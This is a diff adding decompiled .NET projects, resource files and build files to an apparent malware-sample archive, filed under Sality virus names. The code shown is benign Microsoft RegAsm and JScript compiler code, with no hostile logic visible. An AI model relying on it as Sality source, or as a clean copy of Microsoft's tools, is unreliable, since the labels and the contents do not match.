+  <data name="Msg_Usage" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>oQZTeW50YXg6IFJlZ0FzbSBBc3NlbWJseVBhdGggW09wdGlvbnNdDQpPcHRpb25zOg0KICAgIC91bnJlZ2lzdGVyICAgICAgICAgIFVucmVnaXN0ZXIgdHlwZXMNCiAgICAvdGxiWzpGaWxlTmFtZV0gICAgICBFeHBvcnQgdGhlIGFzc2VtYmx5IHRvIHRoZSBzcGVjaWZpZWQgdHlwZSBsaWJyYXJ5DQogICAgICAgICAgICAgICAgICAgICAgICAgYW5kIHJlZ2lzdGVyIGl0DQogICAgL3JlZ2ZpbGVbOkZpbGVOYW1lXSAgR2VuZXJhdGUgYSByZWcgZmlsZSB3aXRoIHRoZSBzcGVjaWZpZWQgbmFtZQ0KICAgICAgICAgICAgICAgICAgICAgICAgIGluc3RlYWQgb2YgcmVnaXN0ZXJpbmcgdGhlIHR5cGVzLiBUaGlzIG9wdGlvbg0KICAgICAgICAgICAgICAgICAgICAgICAgIGNhbm5vdCBiZSB1c2VkIHdpdGggdGhlIC91IG9yIC90bGIgb3B0aW9ucw0KICAgIC9jb2RlYmFzZSAgICAgICAgICAgIFNldCB0aGUgY29kZSBiYXNlIGluIHRoZSByZWdpc3RyeQ0KICAgIC9yZWdpc3RlcmVkICAgICAgICAgIE9ubHkgcmVmZXIgdG8gYWxyZWFkeSByZWdpc3RlcmVkIHR5cGUgbGlicmFyaWVzDQogICAgL25vbG9nbyAgICAgICAgICAgICAgUHJldmVudHMgUmVnQXNtIGZyb20gZGlzcGxheWluZyBsb2dvDQogICAgL3NpbGVudCAgICAgICAgICAgICAgU2lsZW50IG1vZGUuIFByZXZlbnRzIGRpc3BsYXlpbmcgb2Ygc3VjY2VzcyBtZXNzYWdlcw0KICAgIC92ZXJib3NlICAgICAgICAgICAgIERpc3BsYXlzIGV4dHJhIGluZm9ybWF0aW9uDQogICAgLz8gb3IgL2hlbHAgICAgICAgICAgRGlzcGxheSB0aGlzIHVzYWdlIG1lc3NhZ2U=</value>
+  </data>
+  <data name="Err_CannotGenRegFileForUnregister" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>PlRoZSAvcmVnZmlsZSBvcHRpb24gY2Fubm90IGJlIHVzZWQgd2l0aCB0aGUgL3VucmVnaXN0ZXIgb3B0aW9u</value>
+  </data>
+  <data name="Err_UnregistrationFailed" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>OEFuIGVycm9yIG9jY3VycmVkIHdoaWxlIHVucmVnaXN0ZXJpbmcgdGhlIHR5cGUgbGlicmFyeTog</value>
+  </data>
+  <data name="Msg_NoTypesRegistered" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>GE5vIHR5cGVzIHdlcmUgcmVnaXN0ZXJlZA==</value>
+  </data>
+  <data name="Msg_type libraryUnregistered" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>LFR5cGUgbGlicmFyeSAnezB9JyB1bnJlZ2lzdGVyZWQgc3VjY2Vzc2Z1bGx5</value>
+  </data>
+  <data name="Msg_NoTypesUnRegistered" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>GE5vIHR5cGVzIHdlcmUgcmVnaXN0ZXJlZA==</value>
+  </data>
+  <data name="Msg_TypesRegistered" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>HVR5cGVzIHJlZ2lzdGVyZWQgc3VjY2Vzc2Z1bGx5</value>
+  </data>
+  <data name="Err_type libraryRegisterFailed" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>P0FuIGVycm9yIG9jY3VycmVkIHdoaWxlIHJlZ2lzdGVyaW5nIHRoZSBleHBvcnRlZCB0eXBlIGxpYnJhcnk6IA==</value>
+  </data>
+  <data name="Wrn_ComRegFuncOnNonPublicType" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>ZFR5cGUgJ3swfScgaGFzIGEgQ29tUmVnaXN0ZXJGdW5jdGlvbiB3aGljaCB3aWxsIG5vdCBiZSBjYWxsZWQgc2luY2UgdGhlIHR5cGUgaXMgbm90IGJlaW5nIHJlZ2lzdGVyZWQ=</value>
+  </data>
+  <data name="Err_InvalidAssembly" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>PEZhaWxlZCB0byBsb2FkICd7MH0nIGJlY2F1c2UgaXQgaXMgbm90IGEgdmFsaWQgLk5FVCBhc3NlbWJseQ==</value>
+  </data>
+  <data name="Msg_Copyright" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>hgFNaWNyb3NvZnQgKFIpIC5ORVQgRnJhbWV3b3JrIEFzc2VtYmx5IFJlZ2lzdHJhdGlvbiBVdGlsaXR5IHswfQ0KQ29weXJpZ2h0IChDKSBNaWNyb3NvZnQgQ29ycG9yYXRpb24gMTk5OC0yMDAyLiAgQWxsIHJpZ2h0cyByZXNlcnZlZC4NCg==</value>
+  </data>
+  <data name="Msg_RegAsmErrorPrefix" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>EVJlZ0FzbSBlcnJvcjogezB9</value>
+  </data>
+  <data name="Msg_AssemblyExportedAndReg" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>OFR5cGUgbGlicmFyeSAnezB9JyBnZW5lcmF0ZWQgYW5kIHJlZ2lzdGVyZWQgc3VjY2Vzc2Z1bGx5</value>
+  </data>
+  <data name="Msg_AutoExpAndRegAssembly" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>HkF1dG8gZXhwb3J0aW5nICd7MH0nIGFzICd7MX0nLg==</value>
+  </data>
+</root>

MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Resource.cs

@@ -0,0 +1,41 @@
+// Decompiled with JetBrains decompiler
+// Type: RegAsm.Resource
+// Assembly: RegAsm, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+// MVID: 0D2001F8-49C5-49A7-BF2D-B8D87970A226
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd.exe
+
+using System;
+using System.Globalization;
+using System.Reflection;
+using System.Resources;
+
+namespace RegAsm
+{
+  internal class Resource
+  {
+    private static ResourceManager _resmgr;
+
+    private static void InitResourceManager()
+    {
+      if (Resource._resmgr != null)
+        return;
+      Resource._resmgr = new ResourceManager("RegAsm", Assembly.GetAssembly(typeof (RegAsm.RegAsm)));
+    }
+
+    internal static string GetString(string key)
+    {
+      Resource.InitResourceManager();
+      return Resource._resmgr.GetString(key, (CultureInfo) null) ?? throw new ApplicationException("FATAL: Resource string for '" + key + "' is null");
+    }
+
+    internal static string FormatString(string key) => Resource.GetString(key);
+
+    internal static string FormatString(string key, object a1) => string.Format(Resource.GetString(key), a1);
+
+    internal static string FormatString(string key, object a1, object a2) => string.Format(Resource.GetString(key), a1, a2);
+
+    internal static string FormatString(string key, object a1, object a2, object a3) => string.Format(Resource.GetString(key), a1, a2, a3);
+
+    internal static string FormatString(string key, object[] a) => string.Format(Resource.GetString(key), a);
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Util/Version.cs

@@ -0,0 +1,14 @@
+// Decompiled with JetBrains decompiler
+// Type: Util.Version
+// Assembly: RegAsm, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+// MVID: 0D2001F8-49C5-49A7-BF2D-B8D87970A226
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd.exe
+
+namespace Util
+{
+  internal class Version
+  {
+    public const string VersionString = "1.1.4322.573";
+    public const string SBSVersionString = "1.1.4322";
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Virus.Win32.Sality.q.csproj

@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{D9A4F04C-05A1-494F-BA72-F914C0438977}</ProjectGuid>
+    <OutputType>Exe</OutputType>
+    <AssemblyName>RegAsm</AssemblyName>
+    <ApplicationVersion>1.0.5000.0</ApplicationVersion>
+    <RootNamespace>RegAsm</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Compile Include="Util\Version.cs" />
+    <Compile Include="Resource.cs" />
+    <Compile Include="Option.cs" />
+    <Compile Include="Abbrevs.cs" />
+    <Compile Include="CommandLine.cs" />
+    <Compile Include="REGKIND.cs" />
+    <Compile Include="RegAsm.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="RegAsm.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Virus.Win32.Sality.q.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RegAsm", "Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd.csproj", "{D9A4F04C-05A1-494F-BA72-F914C0438977}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{D9A4F04C-05A1-494F-BA72-F914C0438977}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{D9A4F04C-05A1-494F-BA72-F914C0438977}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{D9A4F04C-05A1-494F-BA72-F914C0438977}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{D9A4F04C-05A1-494F-BA72-F914C0438977}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/AssemblyInfo.cs

@@ -0,0 +1,10 @@
+using System.Reflection;
+using System.Resources;
+
+[assembly: NeutralResourcesLanguage("en-US")]
+[assembly: SatelliteContractVersion("7.0.5000.0")]
+[assembly: AssemblyTitle("JScript Compiler")]
+[assembly: AssemblyDescription("JScript command line compiler")]
+[assembly: AssemblyKeyFile("f:\\VS70Builds\\3052\\vs\\src\\common\\security\\FinalPublicKey.snk")]
+[assembly: AssemblyDelaySign(true)]
+[assembly: AssemblyVersion("7.0.5000.0")]

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/BuildVersionInfo.cs

@@ -0,0 +1,13 @@
+// Decompiled with JetBrains decompiler
+// Type: BuildVersionInfo
+// Assembly: jsc, Version=7.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+// MVID: 64FE9439-6D79-4C3B-BBDD-9D73A741F992
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48.exe
+
+internal class BuildVersionInfo
+{
+  public const int MajorVersion = 7;
+  public const int MinorVersion = 10;
+  public const int Revision = 0;
+  public const int Build = 3052;
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/Compiler.cs

@@ -0,0 +1,28 @@
+// Decompiled with JetBrains decompiler
+// Type: Compiler
+// Assembly: jsc, Version=7.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+// MVID: 64FE9439-6D79-4C3B-BBDD-9D73A741F992
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48.exe
+
+using System;
+using System.Reflection;
+using System.Security.Policy;
+
+internal class Compiler
+{
+  public static int Main(string[] args)
+  {
+    AppDomainSetup info = new AppDomainSetup();
+    info.PrivateBinPath = "";
+    info.PrivateBinPathProbe = "*";
+    try
+    {
+      return ((JScriptCompiler) AppDomain.CreateDomain(nameof (Compiler), (Evidence) null, info).CreateInstance(Assembly.GetAssembly(typeof (JScriptCompiler)).FullName, "JScriptCompiler").Unwrap()).Run(args);
+    }
+    catch (Exception ex)
+    {
+      Console.WriteLine(JScriptCompiler.Localize("INTERNAL COMPILER ERROR", ex.Message));
+      return 10;
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/CompilerOptions.cs

@@ -0,0 +1,55 @@
+// Decompiled with JetBrains decompiler
+// Type: CompilerOptions
+// Assembly: jsc, Version=7.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+// MVID: 64FE9439-6D79-4C3B-BBDD-9D73A741F992
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48.exe
+
+using System;
+using System.Collections;
+using System.Reflection.Emit;
+
+internal class CompilerOptions
+{
+  public bool autoRef;
+  public bool fDebug;
+  public bool fFast;
+  public bool fNoStdlib;
+  public PEFileKinds PEFileKind;
+  public bool fTreatWarningsAsErrors;
+  public bool fVersionSafe;
+  public bool fPrint;
+  public int nWarningLevel;
+  public string strOutputFileName;
+  public ArrayList SourceFileNames;
+  public ArrayList ImportFileNames;
+  public Hashtable ManagedResourceFileNames;
+  public Hashtable ManagedResources;
+  public string Win32Resource;
+  public int codepage;
+  public bool fForceCodepage;
+  public Version versionInfo;
+  public string libpath;
+  public Hashtable Defines;
+  public bool autoRefSetExplicitly;
+  public bool fTargetSpecified;
+  public bool fPrintSetExplicitly;
+
+  public CompilerOptions()
+  {
+    this.autoRef = true;
+    this.PEFileKind = PEFileKinds.ConsoleApplication;
+    this.fFast = true;
+    this.fPrint = true;
+    this.nWarningLevel = 4;
+    this.SourceFileNames = new ArrayList();
+    this.ImportFileNames = new ArrayList();
+    this.ManagedResourceFileNames = new Hashtable(10);
+    this.ManagedResources = new Hashtable(10);
+    this.Defines = new Hashtable();
+    string environmentVariable = Environment.GetEnvironmentVariable("LIB");
+    if (environmentVariable != null)
+      this.libpath = environmentVariable;
+    else
+      this.libpath = "";
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/EngineSite.cs

@@ -0,0 +1,39 @@
+// Decompiled with JetBrains decompiler
+// Type: EngineSite
+// Assembly: jsc, Version=7.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+// MVID: 64FE9439-6D79-4C3B-BBDD-9D73A741F992
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48.exe
+
+using Microsoft.Vsa;
+
+internal class EngineSite : IVsaSite
+{
+  private CompilerOptions options;
+
+  public EngineSite(CompilerOptions options) => this.options = options;
+
+  public virtual bool OnCompilerError(IVsaError error)
+  {
+    int severity = error.Severity;
+    if (severity > this.options.nWarningLevel)
+      return true;
+    bool fIsWarning = severity != 0 && !this.options.fTreatWarningsAsErrors;
+    JScriptCompiler.PrintError(error.SourceMoniker, error.Line, error.StartColumn, fIsWarning, error.Number, error.Description);
+    return true;
+  }
+
+  public virtual object GetItemInfo(string strItemName) => throw new VsaException((VsaError) -2146226168);
+
+  public virtual object GetGlobalInstance(string name) => throw new VsaException((VsaError) -2146226168);
+
+  public virtual object GetEventSourceInstance(string ItemName, string EventSourceName) => throw new VsaException((VsaError) -2146226168);
+
+  public virtual void Notify(string notification, object value) => throw new VsaException((VsaError) -2146226168);
+
+  public virtual void GetCompiledState(out byte[] pe, out byte[] debugInfo)
+  {
+    pe = (byte[]) null;
+    debugInfo = (byte[]) null;
+    throw new VsaException((VsaError) -2146226168);
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/JSC.resx

@@ -0,0 +1,237 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <data name="Usage /win32res" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>JFNwZWNpZmllcyBXaW4zMiByZXNvdXJjZSBmaWxlICgucmVzKQ==</value>
+  </data>
+  <data name="Resources" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>DS0gUkVTT1VSQ0VTIC0=</value>
+  </data>
+  <data name="Usage /codepage" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>M1VzZSB0aGUgc3BlY2lmaWVkIGNvZGUgcGFnZSBJRCB0byBvcGVuIHNvdXJjZSBmaWxlcw==</value>
+  </data>
+  <data name="Advanced" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>DC0gQURWQU5DRUQgLQ==</value>
+  </data>
+  <data name="Input Files" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>Dy0gSU5QVVQgRklMRVMgLQ==</value>
+  </data>
+  <data name="Usage options" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>HUpTY3JpcHQgLk5FVCBDb21waWxlciBPcHRpb25z</value>
+  </data>
+  <data name="Usage /linkresource" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>LUxpbmtzIHRoZSBzcGVjaWZpZWQgcmVzb3VyY2UgdG8gdGhpcyBhc3NlbWJseQ==</value>
+  </data>
+  <data name="Usage /t:winexe" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>HENyZWF0ZSBhIHdpbmRvd3MgYXBwbGljYXRpb24=</value>
+  </data>
+  <data name="Usage /debug" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>GkVtaXQgZGVidWdnaW5nIGluZm9ybWF0aW9u</value>
+  </data>
+  <data name="Usage /t:exe" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>JkNyZWF0ZSBhIGNvbnNvbGUgYXBwbGljYXRpb24gKGRlZmF1bHQp</value>
+  </data>
+  <data name="Usage /print" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>GFByb3ZpZGUgcHJpbnQoKSBmdW5jdGlvbg==</value>
+  </data>
+  <data name="Output Files" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>EC0gT1VUUFVUIEZJTEVTIC0=</value>
+  </data>
+  <data name="Usage /lcid" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>OVVzZSB0aGUgc3BlY2lmaWVkIGxjaWQgZm9yIG1lc3NhZ2VzIGFuZCBkZWZhdWx0IGNvZGUgcGFnZQ==</value>
+  </data>
+  <data name="Usage /fast" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>OURpc2FibGUgbGFuZ3VhZ2UgZmVhdHVyZXMgdG8gYWxsb3cgYmV0dGVyIGNvZGUgZ2VuZXJhdGlvbg==</value>
+  </data>
+  <data name="Usage /warn" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>F1NldCB3YXJuaW5nIGxldmVsICgwLTQp</value>
+  </data>
+  <data name="Usage @file" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>I1JlYWQgcmVzcG9uc2UgZmlsZSBmb3IgbW9yZSBvcHRpb25z</value>
+  </data>
+  <data name="Usage /reference" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>M1JlZmVyZW5jZSBtZXRhZGF0YSBmcm9tIHRoZSBzcGVjaWZpZWQgYXNzZW1ibHkgZmlsZQ==</value>
+  </data>
+  <data name="Usage /?" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>DERpc3BsYXkgaGVscA==</value>
+  </data>
+  <data name="Usage /nostdlib" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>T0RvIG5vdCBpbXBvcnQgc3RhbmRhcmQgbGlicmFyeSAobXNjb3JsaWIuZGxsKSBhbmQgY2hhbmdlIGF1dG9yZWYgZGVmYXVsdCB0byBvZmY=</value>
+  </data>
+  <data name="Usage /versionsafe" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>O1NwZWNpZnkgZGVmYXVsdCBmb3IgbWVtYmVycyBub3QgbWFya2VkICdvdmVycmlkZScgb3IgJ2hpZGUn</value>
+  </data>
+  <data name="Usage /resource" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>HUVtYmVkcyB0aGUgc3BlY2lmaWVkIHJlc291cmNl</value>
+  </data>
+  <data name="Source file too big" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>E1NvdXJjZSBmaWxlIHRvbyBiaWc=</value>
+  </data>
+  <data name="Usage /utf8output" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>MEVtaXQgY29tcGlsZXIgb3V0cHV0IGluIFVURi04IGNoYXJhY3RlciBlbmNvZGluZw==</value>
+  </data>
+  <data name="INTERNAL COMPILER ERROR" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>HSoqKklOVEVSTkFMIENPTVBJTEVSIEVSUk9SKioq</value>
+  </data>
+  <data name="Usage /autoref" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>aUF1dG9tYXRpY2FsbHkgcmVmZXJlbmNlIGFzc2VtYmxpZXMgYmFzZWQgb24gaW1wb3J0ZWQgbmFtZXNwYWNlcyBhbmQgZnVsbHktcXVhbGlmaWVkIG5hbWVzIChvbiBieSBkZWZhdWx0KQ==</value>
+  </data>
+  <data name="Usage /out" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>IlNwZWNpZnkgbmFtZSBvZiBiaW5hcnkgb3V0cHV0IGZpbGU=</value>
+  </data>
+  <data name="Usage /lib" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>OlNwZWNpZnkgYWRkaXRpb25hbCBkaXJlY3RvcmllcyB0byBzZWFyY2ggaW4gZm9yIHJlZmVyZW5jZXM=</value>
+  </data>
+  <data name="Usage /warnaserror" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>GFRyZWF0IHdhcm5pbmdzIGFzIGVycm9ycw==</value>
+  </data>
+  <data name="No description available" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>GE5vIGRlc2NyaXB0aW9uIGF2YWlsYWJsZQ==</value>
+  </data>
+  <data name="Usage /t:library" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>GUNyZWF0ZSBhIGxpYnJhcnkgYXNzZW1ibHk=</value>
+  </data>
+  <data name="Code Generation" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>Ey0gQ09ERSBHRU5FUkFUSU9OIC0=</value>
+  </data>
+  <data name="Usage format" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>OmpzYyBbb3B0aW9uc10gPHNvdXJjZSBmaWxlcz4gW1tvcHRpb25zXSA8c291cmNlIGZpbGVzPi4uLl0=</value>
+  </data>
+  <data name="Banner line 3" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>Q0NvcHlyaWdodCAoQykgTWljcm9zb2Z0IENvcnBvcmF0aW9uIDE5OTYtMjAwMi4gQWxsIHJpZ2h0cyByZXNlcnZlZC4=</value>
+  </data>
+  <data name="Banner line 2" mimetype="application/x-microsoft.net.object.binary.base64">
